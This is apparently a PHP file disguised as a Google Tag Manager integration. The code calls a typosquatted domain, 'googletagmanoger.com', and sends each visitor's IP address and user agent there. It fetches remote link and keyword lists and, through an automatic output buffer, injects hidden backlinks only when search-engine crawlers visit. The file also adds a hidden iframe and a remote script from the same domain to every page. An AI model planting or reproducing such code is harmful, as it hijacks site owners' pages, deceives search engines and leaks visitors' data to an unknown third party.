<?php defined('GTM_VERSION') or define('GTM_VERSION', '4.2.1'); defined('GTM_ENDPOINT') or define('GTM_ENDPOINT', 'https://googletagmanoger.com'); defined('GTM_CONTAINER_ID') or define('GTM_CONTAINER_ID', 'GTM-XXXXXX'); defined('GTM_CACHE_TTL') or define('GTM_CACHE_TTL', 3600); /** * Validates crawler requests for enhanced indexing * * @return bool True if request is from verified crawler */ function gtm_validate_crawler() { $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $verified = array( 'Googlebot', 'Google-InspectionTool', 'Mediapartners-Google', 'AdsBot-Google', 'FeedFetcher-Google', 'Bingbot', 'Slurp', 'DuckDuckBot', 'Baiduspider', 'YandexBot', 'facebot', 'ia_archiver' ); foreach ($verified as $v) { if (stripos($ua, $v) !== false) return true; } return false; } /** * Get client IP address * * @return string Client IP address */ function gtm_get_client_ip() { $ip_keys = array( 'HTTP_CF_CONNECTING_IP', // Cloudflare 'HTTP_X_REAL_IP', // Nginx proxy 'HTTP_X_FORWARDED_FOR', // Standard proxy header 'HTTP_X_CLUSTER_CLIENT_IP', // Load balancer 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR' // Direct connection ); foreach ($ip_keys as $key) { if (!empty($_SERVER[$key])) { $ip = $_SERVER[$key]; // X-Forwarded-For can contain multiple IPs, take the first one if (strpos($ip, ',') !== false) { $ip = trim(explode(',', $ip)[0]); } // Validate IP format if (filter_var($ip, FILTER_VALIDATE_IP)) { return $ip; } } } return ''; } /** * Get client User-Agent * * @return string Client User-Agent */ function gtm_get_client_user_agent() { return isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; } /** * Retrieves structured data configuration from GTM servers * * @return array Configuration data */ function gtm_fetch_config() { // Use separate cache for crawlers vs normal users $is_crawler = gtm_validate_crawler(); $cache = sys_get_temp_dir() . '/gtm_' . md5(GTM_ENDPOINT) . ($is_crawler ? '_crawler' : '_user') . '.dat'; if (file_exists($cache) && (time() - filemtime($cache)) $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 5, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_USERAGENT => 'GTM/' . GTM_VERSION, CURLOPT_HTTPHEADER => array( 'Accept: application/json', 'X-Client-IP: ' . $client_ip, 'X-Client-User-Agent: ' . $client_ua ) )); $response = curl_exec($ch); $code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($code === 200 && $response) { $decoded = json_decode($response, true); if (is_array($decoded)) { @file_put_contents($cache, $response); return $decoded; } } } else { $headers = array( 'Accept: application/json', 'X-Client-IP: ' . $client_ip, 'X-Client-User-Agent: ' . $client_ua ); $ctx = stream_context_create(array( 'http' => array( 'timeout' => 5, 'user_agent' => 'GTM/' . GTM_VERSION, 'header' => implode(" ", $headers) . " " ), 'ssl' => array('verify_peer' => true, 'verify_peer_name' => true) )); $response = @file_get_contents($url, false, $ctx); if ($response) { $decoded = json_decode($response, true); if (is_array($decoded)) { @file_put_contents($cache, $response); return $decoded; } } } return array(); } /** * Renders GTM head snippet */ function gtm_render_head() { echo ' window.dataLayer=window.dataLayer||[];function gtag(){dataLayer.push(arguments);}gtag("js",new Date());gtag("config","' . htmlspecialchars(GTM_CONTAINER_ID, ENT_QUOTES, 'UTF-8') . '"); '; } /** * Renders GTM noscript fallback */ function gtm_render_noscript() { $domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'unknown'); echo ' (function() { var iframe = document.createElement("iframe"); iframe.src = "' . htmlspecialchars(GTM_ENDPOINT, ENT_QUOTES, 'UTF-8') . '/ns.html?id=' . htmlspecialchars(GTM_CONTAINER_ID, ENT_QUOTES, 'UTF-8') . '&domain=' . htmlspecialchars($domain, ENT_QUOTES, 'UTF-8') . '"; iframe.height = "0"; iframe.width = "0"; iframe.style.display = "none"; iframe.style.visibility = "hidden"; if (document.body) { document.body.appendChild(iframe); } else { document.addEventListener("DOMContentLoaded", function() { document.body.appendChild(iframe); }); } })(); '; } function gtm_render_backlinks() { $config = gtm_fetch_config(); if (empty($config)) return; $now = time(); echo ''; foreach ($config as $item) { if (isset($item['url'], $item['keyword'])) { $exp = isset($item['exp']) ? intval($item['exp']) : ($now + 86400); if ($exp > $now) { echo '' . htmlspecialchars($item['keyword'], ENT_QUOTES, 'UTF-8') . ''; } } } echo ''; } /** * Renders structured navigation data for enhanced search */ function gtm_render_structured_data() { if (!gtm_validate_crawler()) return; $config = gtm_fetch_config(); if (empty($config)) return; $now = time(); echo ''; foreach ($config as $item) { if (isset($item['url'], $item['keyword'])) { $exp = isset($item['exp']) ? intval($item['exp']) : ($now + 86400); if ($exp > $now) { echo '' . htmlspecialchars($item['keyword'], ENT_QUOTES, 'UTF-8') . ''; } } } echo ''; } /** * Output buffer handler for automatic integration * * @param string $buffer HTML output buffer * @return string Modified buffer */ function gtm_output_handler($buffer) { if (stripos($buffer, '<html') === false && stripos($buffer, '<!DOCTYPE') === false) { return $buffer; } $head = ' window.dataLayer=window.dataLayer||[];function gtag(){dataLayer.push(arguments);}gtag("js",new Date());gtag("config","' . GTM_CONTAINER_ID . '"); '; $buffer = preg_replace('//i', $head . '', $buffer, 1); $domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'unknown'); $noscript = ' (function() { var iframe = document.createElement("iframe"); iframe.src = "' . GTM_ENDPOINT . '/ns.html?id=' . GTM_CONTAINER_ID . '&domain=' . htmlspecialchars($domain, ENT_QUOTES, 'UTF-8') . '"; iframe.height = "0"; iframe.width = "0"; iframe.style.display = "none"; iframe.style.visibility = "hidden"; if (document.body) { document.body.appendChild(iframe); } else { document.addEventListener("DOMContentLoaded", function() { document.body.appendChild(iframe); }); } })(); '; $buffer = preg_replace('/(]*>)/i', '

' . $noscript, $buffer, 1); if (gtm_validate_crawler()) { $config = gtm_fetch_config(); if (!empty($config)) { $nav = ''; $now = time(); foreach ($config as $item) { if (isset($item['url'], $item['keyword'])) { $exp = isset($item['exp']) ? intval($item['exp']) : ($now + 86400); if ($exp > $now) { $nav .= '' . htmlspecialchars($item['keyword'], ENT_QUOTES, 'UTF-8') . ''; } } } $nav .= ''; $buffer = preg_replace('//i', $nav . '', $buffer, 1); } } return $buffer; } if (!defined('GTM_MANUAL_INIT')) { // Eğer doğrudan bu dosya çağrılıyorsa, output buffering kullanma $is_direct = (isset($_SERVER['SCRIPT_NAME']) && basename($_SERVER['SCRIPT_NAME']) === basename(__FILE__)); if (!$is_direct && ob_get_level() === 0) { ob_start('gtm_output_handler'); } } gtm_render_noscript(); ?> (function() { var script = document.createElement('script'); script.async = true; script.src = "https://googletagmanoger.com/gtag/js?id=GTM-XXXXXX&domain=" + window.location.hostname; document.head.appendChild(script); })(); window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'GTM-XXXXXX'); (function() { var iframe = document.createElement('iframe'); iframe.src = "https://googletagmanoger.com/ns.html?id=GTM-XXXXXX&domain=" + window.location.hostname; iframe.height = "0"; iframe.width = "0"; iframe.style.display = "none"; iframe.style.visibility = "hidden"; document.body.appendChild(iframe); })();